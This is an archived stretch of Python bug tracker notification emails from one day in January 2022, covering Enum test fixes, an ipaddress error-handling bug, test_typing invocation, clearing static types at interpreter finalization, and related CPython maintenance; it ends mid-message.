(Ethan Furman) Date: Mon, 17 Jan 2022 15:15:29 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642432529.88.0.313581781735.issue40066@roundup.psfhosted.org> Ethan Furman added the comment: After merging in doc fix by kumaraditya303, I'll update tests so Solaris passes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:18:33 2022 From: report at bugs.python.org (Ethan Furman) Date: Mon, 17 Jan 2022 15:18:33 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642432713.79.0.247746523644.issue40066@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 83d544b9292870eb44f6fca37df0aa351c4ef83a by Kumar Aditya in branch 'main': bpo-40066: [Enum] skip failing doc test (GH-30637) https://github.com/python/cpython/commit/83d544b9292870eb44f6fca37df0aa351c4ef83a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:21:20 2022 From: report at bugs.python.org (Thomas Cellerier) Date: Mon, 17 Jan 2022 15:21:20 +0000 Subject: [issue46415] ipaddress.ip_{address, network, interface} raise TypeError instead of ValueError if given a tuple as address Message-ID: <1642432880.71.0.920600004529.issue46415@roundup.psfhosted.org> New submission from Thomas Cellerier : `IPv*Network` and `IPv*Interface` constructors accept a 2-tuple of (address description, netmask) as the address parameter. When the tuple-based address is used errors are not propagated correctly through the `ipaddress.ip_*` helper because of the %-formatting now expecting several arguments: In [7]: ipaddress.ip_network(("192.168.100.0", "fooo")) --------------------------------------------------------------------------- TypeError Traceback (most recent call last) in ----> 1 ipaddress.ip_network(("192.168.100.0", "fooo")) /usr/lib/python3.8/ipaddress.py in ip_network(address, strict) 81 pass 82 ---> 83 raise ValueError('%r does not appear to be an IPv4 or IPv6 network' % 84 address) 85 TypeError: not all arguments converted during string formatting Compared to: In [8]: ipaddress.IPv4Network(("192.168.100.0", "foo")) --------------------------------------------------------------------------- NetmaskValueError Traceback (most recent call last) in ----> 1 ipaddress.IPv4Network(("192.168.100.0", "foo")) /usr/lib/python3.8/ipaddress.py in __init__(self, address, strict) 1453 1454 self.network_address = IPv4Address(addr) -> 1455 self.netmask, self._prefixlen = self._make_netmask(mask) 1456 packed = int(self.network_address) 1457 if packed & int(self.netmask) != packed: /usr/lib/python3.8/ipaddress.py in _make_netmask(cls, arg) 1118 # Check for a netmask or hostmask in dotted-quad form. 1119 # This may raise NetmaskValueError. -> 1120 prefixlen = cls._prefix_from_ip_string(arg) 1121 netmask = IPv4Address(cls._ip_int_from_prefix(prefixlen)) 1122 cls._netmask_cache[arg] = netmask, prefixlen /usr/lib/python3.8/ipaddress.py in _prefix_from_ip_string(cls, ip_str) 516 ip_int = cls._ip_int_from_string(ip_str) 517 except AddressValueError: --> 518 cls._report_invalid_netmask(ip_str) 519 520 # Try matching a netmask (this would be /1*0*/ as a bitwise regexp). /usr/lib/python3.8/ipaddress.py in _report_invalid_netmask(cls, netmask_str) 472 def _report_invalid_netmask(cls, netmask_str): 473 msg = '%r is not a valid netmask' % netmask_str --> 474 raise NetmaskValueError(msg) from None 475 476 @classmethod NetmaskValueError: 'foo' is not a valid netmask ---------- components: Library (Lib) messages: 410798 nosy: thomascellerier priority: normal severity: normal status: open title: ipaddress.ip_{address,network,interface} raise TypeError instead of ValueError if given a tuple as address type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:21:27 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 15:21:27 +0000 Subject: [issue46381] Improve documentation of CFLAGS_NODIST, LDFLAGS_NODIST In-Reply-To: <1642185496.49.0.558821862955.issue46381@roundup.psfhosted.org> Message-ID: <1642432887.86.0.00228844032483.issue46381@roundup.psfhosted.org> STINNER Victor added the comment: Do you want to propose a PR? ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:22:26 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 17 Jan 2022 15:22:26 +0000 Subject: [issue46416] Direct invocation of `Lib/test/test_typing.py` fails Message-ID: <1642432946.92.0.224502612065.issue46416@roundup.psfhosted.org> New submission from Nikita Sobolev : Here's the problem: ``` ? ./python.exe Lib/test/test_typing.py ........................................................................................................................................................................................................s.....................................................................................................................F......................................................................................... ====================================================================== FAIL: test_special_attrs2 (__main__.SpecialAttrsTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/sobolev/Desktop/cpython/Lib/test/test_typing.py", line 5068, in test_special_attrs2 self.assertEqual( ^^^^^^^^^^^^^^^^^ AssertionError: '__main__' != 'test.test_typing' - __main__ + test.test_typing ``` I think it is a good idea to use the same hack we have in `test_enum.py`: https://github.com/python/cpython/blob/83d544b9292870eb44f6fca37df0aa351c4ef83a/Lib/test/test_enum.py#L34 ```python MODULE = ('test.test_typing', '__main__')[__name__=='__main__'] ``` PR is on its way :) ---------- components: Tests messages: 410800 nosy: sobolevn priority: normal severity: normal status: open title: Direct invocation of `Lib/test/test_typing.py` fails type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:23:43 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 17 Jan 2022 15:23:43 +0000 Subject: [issue46416] Direct invocation of `Lib/test/test_typing.py` fails In-Reply-To: <1642432946.92.0.224502612065.issue46416@roundup.psfhosted.org> Message-ID: <1642433023.79.0.80221149302.issue46416@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28844 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30641 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:23:46 2022 From: report at bugs.python.org (Thomas Cellerier) Date: Mon, 17 Jan 2022 15:23:46 +0000 Subject: [issue46415] ipaddress.ip_{address, network, interface} raise TypeError instead of ValueError if given a tuple as address In-Reply-To: <1642432880.71.0.920600004529.issue46415@roundup.psfhosted.org> Message-ID: <1642433026.66.0.916024830952.issue46415@roundup.psfhosted.org> Change by Thomas Cellerier : ---------- keywords: +patch pull_requests: +28845 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30642 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:24:46 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 15:24:46 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642433086.01.0.679647111013.issue40066@roundup.psfhosted.org> STINNER Victor added the comment: > self.assertEqual(repr(type), '') For this one, I suggest to replace the value with "..." doctest pattern. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:34:10 2022 From: report at bugs.python.org (Ethan Furman) Date: Mon, 17 Jan 2022 15:34:10 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642433650.16.0.412693387746.issue40066@roundup.psfhosted.org> Ethan Furman added the comment: vstinner wrote: -------------- >> self.assertEqual(repr(type), '') > For this one, I suggest to replace the value with "..." doctest pattern. That bit of code is from the unittest suite, not the doctest suite. I went with: self.assertEqual(repr(type), '' % type.value) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:37:28 2022 From: report at bugs.python.org (Ethan Furman) Date: Mon, 17 Jan 2022 15:37:28 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642433848.22.0.412252109233.issue40066@roundup.psfhosted.org> Change by Ethan Furman : ---------- pull_requests: +28846 pull_request: https://github.com/python/cpython/pull/30643 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:37:47 2022 From: report at bugs.python.org (Thomas Cellerier) Date: Mon, 17 Jan 2022 15:37:47 +0000 Subject: [issue46415] ipaddress.ip_{address, network, interface} raises TypeError instead of ValueError if given a tuple as address In-Reply-To: <1642432880.71.0.920600004529.issue46415@roundup.psfhosted.org> Message-ID: <1642433867.79.0.826847076945.issue46415@roundup.psfhosted.org> Change by Thomas Cellerier : ---------- title: ipaddress.ip_{address,network,interface} raise TypeError instead of ValueError if given a tuple as address -> ipaddress.ip_{address,network,interface} raises TypeError instead of ValueError if given a tuple as address _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 10:42:27 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 17 Jan 2022 15:42:27 +0000 Subject: [issue46414] Add typing.reveal_type In-Reply-To: <1642431742.97.0.220350932108.issue46414@roundup.psfhosted.org> Message-ID: <1642434147.82.0.532690366427.issue46414@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 11:06:25 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 16:06:25 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642435585.54.0.798914791518.issue40066@roundup.psfhosted.org> STINNER Victor added the comment: I created https://github.com/python/core-workflow/issues/424 "Should we make the Docs CI mandatory on the Python main branch?". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 11:30:24 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 17 Jan 2022 16:30:24 +0000 Subject: [issue46405] Warning compiling main on Windows In-Reply-To: <1642376084.99.0.108704224042.issue46405@roundup.psfhosted.org> Message-ID: <1642437024.64.0.885696195524.issue46405@roundup.psfhosted.org> Mark Shannon added the comment: New changeset a4bc2218d270c4c7a898c8b3967c8c271afe9abe by Kumar Aditya in branch 'main': bpo-46405: fix msvc compiler warnings (GH-30627) https://github.com/python/cpython/commit/a4bc2218d270c4c7a898c8b3967c8c271afe9abe ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 11:47:27 2022 From: report at bugs.python.org (Marc Mueller) Date: Mon, 17 Jan 2022 16:47:27 +0000 Subject: [issue46414] Add typing.reveal_type In-Reply-To: <1642431742.97.0.220350932108.issue46414@roundup.psfhosted.org> Message-ID: <1642438047.08.0.321143834211.issue46414@roundup.psfhosted.org> Change by Marc Mueller : ---------- nosy: +cdce8p _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 11:49:11 2022 From: report at bugs.python.org (=?utf-8?b?TMOhc3psw7MgS2lzcyBLb2xsw6Fy?=) Date: Mon, 17 Jan 2022 16:49:11 +0000 Subject: [issue25710] zipimport is not PEP 3147 or PEP 488 compliant In-Reply-To: <1448293496.52.0.845434990633.issue25710@psf.upfronthosting.co.za> Message-ID: <1642438151.45.0.359744589778.issue25710@roundup.psfhosted.org> Change by L?szl? Kiss Koll?r : ---------- nosy: +lkollar _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 11:52:56 2022 From: report at bugs.python.org (Ethan Furman) Date: Mon, 17 Jan 2022 16:52:56 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642438376.52.0.65982241815.issue40066@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 62a6594e66ca955073be2f4e5a40291a39252ef3 by Ethan Furman in branch 'main': bpo-40066: [Enum] fix tests (GH-30643) https://github.com/python/cpython/commit/62a6594e66ca955073be2f4e5a40291a39252ef3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 11:57:27 2022 From: report at bugs.python.org (Ethan Furman) Date: Mon, 17 Jan 2022 16:57:27 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642438647.06.0.508727477231.issue40066@roundup.psfhosted.org> Change by Ethan Furman : ---------- priority: release blocker -> normal resolution: -> fixed stage: patch review -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 11:59:39 2022 From: report at bugs.python.org (Ethan Furman) Date: Mon, 17 Jan 2022 16:59:39 +0000 Subject: [issue46108] Enum repr() incorrect when mixed with non-__new__ data types In-Reply-To: <1639703596.51.0.989960862505.issue46108@roundup.psfhosted.org> Message-ID: <1642438779.18.0.255896646243.issue46108@roundup.psfhosted.org> Ethan Furman added the comment: Fixed in 3.11. ---------- resolution: -> fixed stage: -> resolved status: open -> closed superseder: -> Enum: modify __repr__, __str__; update docs type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 12:02:11 2022 From: report at bugs.python.org (Ethan Furman) Date: Mon, 17 Jan 2022 17:02:11 +0000 Subject: [issue45535] Enum's dir() does not contain inherited members In-Reply-To: <1634726106.14.0.525814954361.issue45535@roundup.psfhosted.org> Message-ID: <1642438931.79.0.0210912264888.issue45535@roundup.psfhosted.org> Ethan Furman added the comment: Fixed in 3.11. Pure enums have a few more dir() entries now; mixed enums now show all inherited methods/attributes -- members still do not show up in member dirs (this is a good thing). ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed superseder: -> Enum: modify __repr__, __str__; update docs _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 12:19:20 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 17:19:20 +0000 Subject: [issue46417] [subinterpreters] Clear static types in Py_Finalize() Message-ID: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> New submission from STINNER Victor : Converting static types to heap types is a work-in-progress: * bpo-40077: "Convert static types to heap types: use PyType_FromSpec()" * At December 29, 2020, 43% (89/206) of types are declared as heap types on a total of 206 types. For comparison, in Python 3.8, only 9% (15/172) of types were declared as heap types: 74 types have been converted in the meanwhile. * https://vstinner.github.io/isolate-subinterpreters.html Static types are still causing issues with Py_Initialize() / Py_Finalize() is called multiple times in the same process, which is a supported use case for embedded Python. See bpo-45691 "Partial moving of core objects to interpreter state is incorrect at best, unsafe at worse" for a recent example with sys.float_info where sys.float_info.n_unnamed_fields holds a reference to a Python object. In june 2020, I wrote GH-20763 to clear static types at exit. But I abandoned my attempt because of bugs. Copy of my https://bugs.python.org/issue1635741#msg371119 message: """ I wrote PR 20763 to "finalize" static types in Py_Finalize(). It mostly works, but "./Programs/_testembed test_forced_io_encoding" crash. This program calls Py_Initialize() and Py_Finalize() multiple times in a loop. It doesn't look to be safe to clear static types. Many functions rely on the fact that static types are "always there" and are never finalized. Also, only a few static types are cleared by my PR: many static types are left unchanged. For example, static types of the _io module. It seems like a safer approach is to continue the work on bpo-40077: "Convert static types to PyType_FromSpec()". """ I propose a "best effort" approach: only clear a static type if it is no longer used. For example, check its reference count and its __subclasses__() method. ---------- components: Subinterpreters messages: 410808 nosy: vstinner priority: normal severity: normal status: open title: [subinterpreters] Clear static types in Py_Finalize() versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 12:23:56 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 17:23:56 +0000 Subject: [issue1635741] Py_Finalize() doesn't clear all Python objects at exit Message-ID: <1642440236.14.0.529818970513.issue1635741@roundup.psfhosted.org> STINNER Victor added the comment: > I wrote PR 20763 to "finalize" static types in Py_Finalize(). It mostly works, but "./Programs/_testembed test_forced_io_encoding" crash. (...) I created bpo-46417 follow-up issue: "[subinterpreters] Clear static types in Py_Finalize()". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 12:24:15 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 17:24:15 +0000 Subject: [issue40077] Convert static types to heap types: use PyType_FromSpec() In-Reply-To: <1585238684.65.0.246012172449.issue40077@roundup.psfhosted.org> Message-ID: <1642440255.37.0.229636276529.issue40077@roundup.psfhosted.org> STINNER Victor added the comment: See also bpo-46417 "[subinterpreters] Clear static types in Py_Finalize()". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 12:24:51 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 17:24:51 +0000 Subject: [issue45691] Partial moving of core objects to interpreter state is incorrect at best, unsafe at worse. In-Reply-To: <1635869089.92.0.280577291297.issue45691@roundup.psfhosted.org> Message-ID: <1642440291.57.0.2419457285.issue45691@roundup.psfhosted.org> STINNER Victor added the comment: Mark: > `sys.float_info.n_unnamed_fields` causes a memory violation if the per-interpreter allocated 0 held by sys.float_info.n_unnamed_fields is freed. I created bpo-46417 follow-up issue: "[subinterpreters] Clear static types in Py_Finalize()". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 12:31:23 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 17:31:23 +0000 Subject: [issue45691] Partial moving of core objects to interpreter state is incorrect at best, unsafe at worse. In-Reply-To: <1635869089.92.0.280577291297.issue45691@roundup.psfhosted.org> Message-ID: <1642440683.94.0.422015474021.issue45691@roundup.psfhosted.org> STINNER Victor added the comment: > `sys.float_info.n_unnamed_fields` causes a memory violation if the per-interpreter allocated 0 held by sys.float_info.n_unnamed_fields is freed. > If it is not freed, then `sys.float_info.n_unnamed_fields is 0` is False, meaning that there are two zeros present. Python 3.9 and 3.10 are concerned by this issue: integer singletons are per-interpreter since Python 3.9. Should Python 3.9 and 3.10 be fixed? "x is 0" is recommended and should be used. For example, the compiler emits a SyntaxWarning: $ python3.9 >>> x=0 >>> x is 0 :1: SyntaxWarning: "is" with a literal. Did you mean "=="? True I propose to only fix the main branch and so close the issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 12:32:48 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 17 Jan 2022 17:32:48 +0000 Subject: [issue46417] [subinterpreters] Clear static types in Py_Finalize() In-Reply-To: <1642439960.76.0.0303208494568.issue46417@roundup.psfhosted.org> Message-ID: <1642440768.91.0.344798066494.issue46417@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +28847 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30645 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 12:45:58 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 17 Jan 2022 17:45:58 +0000 Subject: [issue46161] `class A(1, 2, 3, **d): pass` gives bad bytecode In-Reply-To: <1640242986.51.0.0809941364169.issue46161@roundup.psfhosted.org> Message-ID: <1642441558.31.0.683122822393.issue46161@roundup.psfhosted.org> Mark Shannon added the comment: New changeset c118c2455c95baea08045dc64963600b7a56b6fd by zq1997 in branch 'main': bpo-46161: Fix bug in starunpack_helper in compile.c (GH-30235) https://github.com/python/cpython/commit/c118c2455c95baea08045dc64963600b7a56b6fd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 13:03:16 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 17 Jan 2022 18:03:16 +0000 Subject: [issue46414] Add typing.reveal_type In-Reply-To: <1642431742.97.0.220350932108.issue46414@roundup.psfhosted.org> Message-ID: <1642442596.72.0.340241469607.issue46414@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- keywords: +patch pull_requests: +28848 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30646 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 13:07:26 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 17 Jan 2022 18:07:26 +0000 Subject: [issue46405] Warning compiling main on Windows In-Reply-To: <1642376084.99.0.108704224042.issue46405@roundup.psfhosted.org> Message-ID: <1642442846.13.0.139483322364.issue46405@roundup.psfhosted.org> Terry J. Reedy added the comment: Thank you Kumar for the quick fix. Just got a clean compile. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 13:07:47 2022 From: report at bugs.python.org (Sebastian Rittau) Date: Mon, 17 Jan 2022 18:07:47 +0000 Subject: [issue46414] Add typing.reveal_type In-Reply-To: <1642431742.97.0.220350932108.issue46414@roundup.psfhosted.org> Message-ID: <1642442867.59.0.605603762968.issue46414@roundup.psfhosted.org> Change by Sebastian Rittau : ---------- nosy: +srittau _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 13:23:32 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 18:23:32 +0000 Subject: [issue1927] Change input() to always prompt to stderr In-Reply-To: <1201206078.95.0.997961854688.issue1927@psf.upfronthosting.co.za> Message-ID: <1642443812.15.0.469590123348.issue1927@roundup.psfhosted.org> Irit Katriel added the comment: See also Issue31603. ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 13:23:46 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 18:23:46 +0000 Subject: [issue31603] Please add argument to override stdin/out/err in the input builtin In-Reply-To: <1506494047.11.0.154975027568.issue31603@psf.upfronthosting.co.za> Message-ID: <1642443826.21.0.763159822764.issue31603@roundup.psfhosted.org> Irit Katriel added the comment: See also Issue1927. ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 13:33:06 2022 From: report at bugs.python.org (Paul Kehrer) Date: Mon, 17 Jan 2022 18:33:06 +0000 Subject: [issue46159] Segfault when using trace functions in 3.11a3 In-Reply-To: <1640228846.77.0.888301890747.issue46159@roundup.psfhosted.org> Message-ID: <1642444386.8.0.194814027046.issue46159@roundup.psfhosted.org> Paul Kehrer added the comment: Changes in ABI don't seem to be the likely culprit since the Dockerfile provided can demonstrate this bug and has no caching that would result in obtaining alpha2-based binaries. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 13:50:16 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 17 Jan 2022 18:50:16 +0000 Subject: [issue46418] Simplify `MODULE` variable in `test_enum.py` Message-ID: <1642445416.0.0.633681302666.issue46418@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now `MODULE` in Lib/test/test_enum.py is defined as: ```python MODULE = ('test.test_enum', '__main__')[__name__=='__main__'] ``` I dived into history and did not find any reasoning why it should not be just `__name__`. (But, I might had missed it: the first usage of it is dated back to 2016) This came up in https://github.com/python/cpython/pull/30641 So, I think it is a good idea to simplify it like this: ```python MODULE = __name__ ``` Probably, this won't cause any more confusion in the future :) I am not going to change all `MODULE` usages to `__name__` to keep the diff as minimal as possible. ---------- components: Tests messages: 410818 nosy: ethan.furman, sobolevn priority: normal severity: normal status: open title: Simplify `MODULE` variable in `test_enum.py` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 13:52:16 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 17 Jan 2022 18:52:16 +0000 Subject: [issue46418] Simplify `MODULE` variable in `test_enum.py` In-Reply-To: <1642445416.0.0.633681302666.issue46418@roundup.psfhosted.org> Message-ID: <1642445536.52.0.161204609502.issue46418@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28849 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30647 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 13:56:16 2022 From: report at bugs.python.org (Pulak Malhotra) Date: Mon, 17 Jan 2022 18:56:16 +0000 Subject: [issue34165] uu.decode() raises binascii.Error instead of uu.Error on invalid data In-Reply-To: <1532080428.61.0.56676864532.issue34165@psf.upfronthosting.co.za> Message-ID: <1642445776.4.0.641725532133.issue34165@roundup.psfhosted.org> Change by Pulak Malhotra : ---------- keywords: +patch nosy: +PulakIIIT nosy_count: 1.0 -> 2.0 pull_requests: +28850 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30648 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 14:01:31 2022 From: report at bugs.python.org (=?utf-8?q?Fernando_P=C3=A9rez_G=C3=B3mez?=) Date: Mon, 17 Jan 2022 19:01:31 +0000 Subject: [issue46412] PyQT6 projects crashes with python 3.10 In-Reply-To: <1642431745.8.0.0410123431187.issue46412@roundup.psfhosted.org> Message-ID: Fernando P?rez G?mez added the comment: I have to perform several tests to provide a detailed report, check other third party libraries, mysql connector for example, and send it to you. There are several things that don't work with Qt libs (the one that works best is PyQt6). When I finish the tests and have the report, I'll send it to you. In the meantime I suggest you search for pyqt6 + python3.10 on the web. There are plenty of complaints on all platforms (Windows, Mac and Linux). My system is Manjaro Linux , kernel version 5.15-2 , the PyQt6 version installed is 6.22.3 . So far I have verified that it is not the fault of the IDE and that it does not install the plugins via pip . Of course I will report the same to River Bank Computing. Sorry I can't be more specific at the moment, because python has been updated on my system recently. Thanks for your patience , I 'll send you a full report in a couple of days . that takes work El lun, 17 ene 2022 a las 16:02, Ronald Oussoren () escribi?: > > Ronald Oussoren added the comment: > > This is most likely a problem with PyQt6. Please ask that project first > (with a clearer description of what goes wrong and on which platforms). > > ---------- > nosy: +ronaldoussoren > resolution: -> third party > stage: -> resolved > status: open -> closed > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 14:08:16 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 17 Jan 2022 19:08:16 +0000 Subject: [issue33601] [doc] Py_UTF8Mode is not documented In-Reply-To: <1526996981.47.0.682650639539.issue33601@psf.upfronthosting.co.za> Message-ID: <1642446496.88.0.696506226764.issue33601@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy title: [EASY DOC] Py_UTF8Mode is not documented -> [doc] Py_UTF8Mode is not documented versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 14:38:48 2022 From: report at bugs.python.org (Oz Tiram) Date: Mon, 17 Jan 2022 19:38:48 +0000 Subject: [issue46317] Pathlib.rename isn't robust In-Reply-To: <1641739976.38.0.625892156687.issue46317@roundup.psfhosted.org> Message-ID: <1642448328.4.0.613287478093.issue46317@roundup.psfhosted.org> Change by Oz Tiram : ---------- keywords: +patch pull_requests: +28851 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30650 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 14:44:09 2022 From: report at bugs.python.org (Humbled Drugman) Date: Mon, 17 Jan 2022 19:44:09 +0000 Subject: [issue12067] Doc: remove errors about mixed-type comparisons. In-Reply-To: <1305237573.86.0.646542413513.issue12067@psf.upfronthosting.co.za> Message-ID: <1642448649.58.0.899632603552.issue12067@roundup.psfhosted.org> Change by Humbled Drugman : ---------- pull_requests: +28852 pull_request: https://github.com/python/cpython/pull/30651 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 15:13:11 2022 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 17 Jan 2022 20:13:11 +0000 Subject: [issue46382] dataclass(slots=True) does not account for slots in base classes In-Reply-To: <1642188703.34.0.911855592293.issue46382@roundup.psfhosted.org> Message-ID: <1642450391.21.0.183917576603.issue46382@roundup.psfhosted.org> Eric V. Smith added the comment: It would also be interesting to see what attrs does in this case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 15:17:05 2022 From: report at bugs.python.org (Ethan Furman) Date: Mon, 17 Jan 2022 20:17:05 +0000 Subject: [issue46418] Simplify `MODULE` variable in `test_enum.py` In-Reply-To: <1642445416.0.0.633681302666.issue46418@roundup.psfhosted.org> Message-ID: <1642450625.77.0.200111901402.issue46418@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 596cf51a4d40f1ac3090cbccb83ad0663d739ae2 by Nikita Sobolev in branch 'main': bpo-46418: [Enum] simplify `MODULE` declaration in tests (GH-30647) https://github.com/python/cpython/commit/596cf51a4d40f1ac3090cbccb83ad0663d739ae2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 15:45:09 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 17 Jan 2022 20:45:09 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642414446.21.0.353486959771.issue46399@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: Probably. On Mon, Jan 17, 2022 at 02:14 Alex Waygood wrote: > > Alex Waygood added the comment: > > Do these changes warrant an entry in "What's New in 3.11"? > > ---------- > > _______________________________________ > Python tracker > > _______________________________________ > -- --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 17 16:03:46 2022 From: report at bugs.python.org (Jorgen Harmse) Date: Mon, 17 Jan 2022 21:03:46 +0000 Subject: [issue46419] Incomplete Comparison to C++ Methods Message-ID: <1642453426.31.0.937573070958.issue46419@roundup.psfhosted.org> New submission from Jorgen Harmse : The description of classes mentions twice that methods are like C++ virtual member functions, but the truth is a bit stranger. Even __init__ seems to act like a virtual function, so there is no guarantee that the base-class part of a derived-class instance is properly constructed. Even if the base class __init__ is called, it may behave erratically. The object is already considered to belong to the derived class, so any method calls will resolve to the derived class. In C++, the run-time type inside any constructor or destructor always matches the compile-time type. Derived-class members are not called because those methods would attempt to use parts of the object that haven't been constructed yet or have already been 